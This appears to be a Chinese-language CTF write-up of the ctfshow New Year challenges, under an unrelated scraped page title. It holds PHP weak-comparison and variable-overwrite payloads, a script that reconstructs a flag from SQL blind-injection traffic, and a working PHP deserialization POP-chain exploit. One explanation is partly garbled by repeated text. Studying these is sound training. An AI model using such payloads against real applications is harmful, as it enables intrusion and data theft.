白塔网站建设/网络营销课程总结1500字
文章目录
- 除夕
- 初一
- 初二
- 初三
- 初四
- 初五
- 初六
- 官方wp
除夕
include "flag.php";$year = $_GET['year'];if($year==2022 && $year+1!==2023){echo $flag;
}else{highlight_file(__FILE__);
}
弱比较和强比较的问题 2023那里是强比较,还是很容易的
/?year=2022.0
科学计数法也可
初一
2023是兔年,密码也是。聪明的小伙伴们,你能破解出下面的密码吗?
密文是:
U2FsdGVkX1+M7duRffUvQgJlESPf+OTV2i4TJpc9YybgZ9ONmPk/RJje
2023是兔年很对应rabbit加密,密钥正是2023
初二
老g师傅最近发现了一个有趣的ctf工具,你能找出flag吗?
py文件呢是一个工具

flag.ws是一个附件,可能就是这个工具来跑一下这个附件

其实还是跑一下这个py文件 拿到flag
初三
<?php
extract($_GET);
include "flag.php";
highlight_file(__FILE__);$_=function($__,$___){return $__==$___?$___:$__;
};
$$__($_($_GET{$___
}[$____]{$_____
}(),$flag));
extract($_GET)
存在变量覆盖
不过下划线混淆代码看着属实难受
$_=function($__,$___){return $__==$___?$___:$__;
};
这个函数$_()
通过三目运算符比较传入的两个参数,返回一个值
$_($_GET{$___
}[$____]{$_____
}(),$flag)
$_()
函数 传入的第一个参数是$_GET{$___}[$____]{$_____}()
第二个参数是$flag
这两个参数相等即可 return flag,是不回显的,所以前面还有‘flag,是不回显的,所以前面还有`flag,是不回显的,所以前面还有‘$__() 可以构造
var_dump()`
配合extract变量覆盖就是 /?__=a&a=var_dump
现在如何让$_GET{$___}[$____]{$_____}()
弱等于$flag呢?
还有个(),所以是个无参函数, 有个trick是 phpinfo()=='任意字符串'
<?php
var_dump(phpinfo() == 'abc');
//bool(true)
0也弱等于字符串, 0 == ‘字符串’
json_last_error() 函数是 int(0)
所以这里构造phpinfo
和json_last_error
都行
($_GET{$___}[$____]{$_____}等价于$_GET[$___][$____][$_____]相当于一个三维数组构造/?___=x&____=b&_____=c&x[b][c]=phpinfo&就相当于构造传入了phpinfo
payload:
/?__=a&a=var_dump&___=x&____=b&_____=c&x[b][c]=phpinfo
初四
在某次赛博hvv过程中,发现了异常流量
你能分析得到flag吗?
sql盲注的流量
拿师傅的脚本
import pyshark, re
from z3 import Ints, Solver, sat
from urllib.parse import unquotet1 = pyshark.FileCapture(r'misc.pcapng', display_filter='http')
cacheCharControl = {}
searchChar = re.compile("1' and (ascii|ord)\(substr\(\(\(select concat_ws\(char\([0-9]+\), hackerHasNoFlag\) from flagInHere limit 0,1\)\), [0-9]+, 1\)\)<[0-9]+;--", re.RegexFlag.IGNORECASE)
for first in t1:if hasattr(first, 'http'):if hasattr(first.http, 'response_for_uri'):requestURI = unquote(str(first.http.response_for_uri))if searchChar.search(requestURI) is not None:locationID = int(requestURI.split('limit 0,1)), ')[1].split(',')[0]) - 1biggerNum = int(requestURI.split(', 1))<')[1].split(';--')[0])if locationID not in cacheCharControl:cacheCharControl[locationID] = []if 'Hacker' in str(first.http.file_data):cacheCharControl[locationID].append((biggerNum, False))else:cacheCharControl[locationID].append((biggerNum, True))
t1.close()
x = Ints('x')[0]
flag = Solver()
for startID in range(len(cacheCharControl)):flag.push()for unit in cacheCharControl[startID]:if unit[1]:flag.add(x < unit[0])else:flag.add(x >= unit[0])if flag.check() == sat:print(chr(int(str(flag.model()[x]))), end='')flag.pop()
然后维吉尼亚解密一下
初五
神秘人送来了半个世纪前的无线电信号,但是只能分别出以下的密文:
YDHML_QKA_PDK_HVD_NAHI_OQ_K_GR
据说上面的无线电信号代表的是中文,由红岸基地发往半人马星系
半个世纪过去了,你能破解它的涵义吗?
还是积累吧,搜了很久电波外星人啥的
中文对应 仓颉编码
ctfshow{新春快乐兔年大吉}
初六
<?php
include "flag.php";class happy2year{private $secret;private $key;function __wakeup(){$this->secret="";}function __call($method,$argv){return call_user_func($this->key, array($method,$argv));}function getSecret($key){$key=$key?$key:$this->key;return $this->createSecret($key); }function createSecret($key){return base64_encode($this->key.$this->secret);}function __get($arg){global $flag;$arg="get".$arg;$this->$arg = $flag;return $this->secret;}function __set($arg,$argv){$this->secret=base64_encode($arg.$argv);}function __invoke(){return $this->$secret;}function __toString(){return base64_encode($this->secret().$this->secret);}function __destruct(){$this->secret = "";}}highlight_file(__FILE__);
error_reporting(0);
$data=$_POST['data'];
$key = $_POST['key'];
$obj = unserialize($data);
if($obj){$secret = $obj->getSecret($key);print("你提交的key是".$key."\n生成的secret是".$secret);
}
可以看到就一个happy2year类,与构造pop链时很多类不同,这题挺有意思
类外的逻辑,就是成功反序列化后打印key和key和key和secret。
$secret = $obj->getSecret($key);
反序列化后先调用了getSecret($key)
然后调用createSecret($key)
然后字符拼接调用 __toString()
里面调用不存在的函数secret()所以调用了__call($method,$argv)
,call里面可以控制$this->key
回调函数,调用了
__invoke()
,里面的return $this->$secret;
调用了私有变量,所以进入 __get($arg)
链子大致如此可以走通。
function __get($arg){global $flag;$arg="get".$arg;$this->$arg = $flag;return $this->secret;}function __set($arg,$argv){$this->secret=base64_encode($arg.$argv);}
__get($arg)
里的参数$arg
就是__invoke()
中调用的私有属性名secret
然后通过 $arg="get".$arg;
使得现在$arg=‘getsecret’
然后$this->$arg = $flag;
触发了__set()
https://www.php.cn/php-weizijiaocheng-426360.html 了解一下__set()
方法以及其参数的作用
__set( $property, $value )
来设置私有属性,给一个未定义的属性赋值时,触发__set(),传递的参数是被设置的属性名和值.所以, $this->$arg = $flag;
触发了__set()
这里不太好理解,所以本地搞了个demo去debug了一下
进入__set($arg,$argv)
, arg是getsecret,arg是getsecret ,arg是getsecret,argv是$flag的内容
(不过不知道为啥最后拿到flag显示前面的$arg仅是get)
拼接后base64然后赋值给了$this->sercet
所以只需要让逻辑走通,打印出$sercet即可拿到flag
经过上面所述,其实我们唯一控制的点就是__call()
里面的$this->key,为happy2year类
exp:
<?php
class happy2year{private $secret;private $key;function __construct(){$this->key=$this;}
}
$s = new happy2year();
echo urlencode(serialize($s));
虽然exp比较简单,但是里面的逻辑挺值得学习的

官方wp
https://ctf-show.feishu.cn/docx/O5nUduzAMobhEtxeuZpcS78AnOb